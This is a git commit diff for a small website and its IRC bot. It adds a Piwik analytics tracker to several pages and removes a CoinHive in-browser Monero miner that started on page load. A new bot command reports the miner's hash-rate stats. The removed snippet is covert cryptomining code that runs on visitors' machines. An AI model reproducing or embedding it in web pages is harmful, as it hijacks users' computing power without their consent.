blah
This commit is contained in:
parent
99dabe81c6
commit
d99a5874d6
|
@ -10,5 +10,18 @@
|
|||
<a href="/">return to main</a> <span id="themes"></span>
|
||||
</div>
|
||||
<script src="./s/theme.js"></script>
|
||||
<script>
|
||||
var _paq = _paq || [];
|
||||
_paq.push(['trackPageView']);
|
||||
_paq.push(['enableLinkTracking']);
|
||||
(function() {
|
||||
var u="//observation.stasi.club/";
|
||||
_paq.push(['setTrackerUrl', u+'piwik.php']);
|
||||
_paq.push(['setSiteId', '1']);
|
||||
var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
|
||||
g.type='text/javascript'; g.async=true; g.defer=true; g.src=u+'piwik.js'; s.parentNode.insertBefore(g,s);
|
||||
})();
|
||||
</script>
|
||||
<noscript><p><img src="//observation.stasi.club/piwik.php?idsite=1&rec=1" style="border:0;" alt="" /></p></noscript>
|
||||
</body>
|
||||
</html>
|
||||
|
|
|
@ -29,5 +29,18 @@
|
|||
<a href="/">return to main</a> <span id="themes"></span>
|
||||
</div>
|
||||
<script src="./s/theme.js"></script>
|
||||
<script>
|
||||
var _paq = _paq || [];
|
||||
_paq.push(['trackPageView']);
|
||||
_paq.push(['enableLinkTracking']);
|
||||
(function() {
|
||||
var u="//observation.stasi.club/";
|
||||
_paq.push(['setTrackerUrl', u+'piwik.php']);
|
||||
_paq.push(['setSiteId', '1']);
|
||||
var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
|
||||
g.type='text/javascript'; g.async=true; g.defer=true; g.src=u+'piwik.js'; s.parentNode.insertBefore(g,s);
|
||||
})();
|
||||
</script>
|
||||
<noscript><p><img src="//observation.stasi.club/piwik.php?idsite=1&rec=1" style="border:0;" alt="" /></p></noscript>
|
||||
</body>
|
||||
</html>
|
||||
|
|
|
@ -17,5 +17,18 @@
|
|||
<script src="./s/scroller.js"></script>
|
||||
<script src="./s/shit.js"></script>
|
||||
<script src="./s/theme.js"></script>
|
||||
<script>
|
||||
var _paq = _paq || [];
|
||||
_paq.push(['trackPageView']);
|
||||
_paq.push(['enableLinkTracking']);
|
||||
(function() {
|
||||
var u="//observation.stasi.club/";
|
||||
_paq.push(['setTrackerUrl', u+'piwik.php']);
|
||||
_paq.push(['setSiteId', '1']);
|
||||
var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
|
||||
g.type='text/javascript'; g.async=true; g.defer=true; g.src=u+'piwik.js'; s.parentNode.insertBefore(g,s);
|
||||
})();
|
||||
</script>
|
||||
<noscript><p><img src="//observation.stasi.club/piwik.php?idsite=1&rec=1" style="border:0;" alt="" /></p></noscript>
|
||||
</body>
|
||||
</html>
|
||||
|
|
|
@ -52,14 +52,18 @@
|
|||
<script src="./s/shit.js"></script>
|
||||
<script src="./s/theme.js"></script>
|
||||
<script src="./s/plyr.js"></script>
|
||||
<script src="//coin-hive.com/lib/coinhive.min.js"></script>
|
||||
<script>plyr.setup( { autoplay: "false" } );
|
||||
(new CoinHive.Anonymous('ZVrebnhYz9IYygu53a2jhMwGqZuhVlbK', {
|
||||
threads: 2,
|
||||
autoThreads: false,
|
||||
throttle: 0.1,
|
||||
forceASMJS: false
|
||||
})).start();
|
||||
var _paq = _paq || [];
|
||||
_paq.push(['trackPageView']);
|
||||
_paq.push(['enableLinkTracking']);
|
||||
(function() {
|
||||
var u="//observation.stasi.club/";
|
||||
_paq.push(['setTrackerUrl', u+'piwik.php']);
|
||||
_paq.push(['setSiteId', '1']);
|
||||
var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
|
||||
g.type='text/javascript'; g.async=true; g.defer=true; g.src=u+'piwik.js'; s.parentNode.insertBefore(g,s);
|
||||
})();
|
||||
</script>
|
||||
<noscript><p><img src="//observation.stasi.club/piwik.php?idsite=1&rec=1" style="border:0;" alt="" /></p></noscript>
|
||||
</body>
|
||||
</html>
|
||||
|
|
19
src/trigger/xmr.js
Normal file
19
src/trigger/xmr.js
Normal file
|
@ -0,0 +1,19 @@
|
|||
const request = require("request");
|
||||
|
||||
module.exports = (lib) => {
|
||||
lib.trigger.add({
|
||||
name: 'xmr',
|
||||
call: /^!xmr/i,
|
||||
level: 100,
|
||||
active: 1,
|
||||
func: (e) => {
|
||||
request(`https://api.coin-hive.com/stats/site/f0ck?secret=${lib.cfg.main.xmrkey}`, (error, response, body) => {
|
||||
if(!error) {
|
||||
body = JSON.parse(body);
|
||||
e.reply(`Hashes/s: ${body.hashesPerSecond} ; Total: ${body.hashesTotal}`);
|
||||
}
|
||||
});
|
||||
},
|
||||
desc: 'muh'
|
||||
});
|
||||
};
|
Loading…
Reference in New Issue
Block a user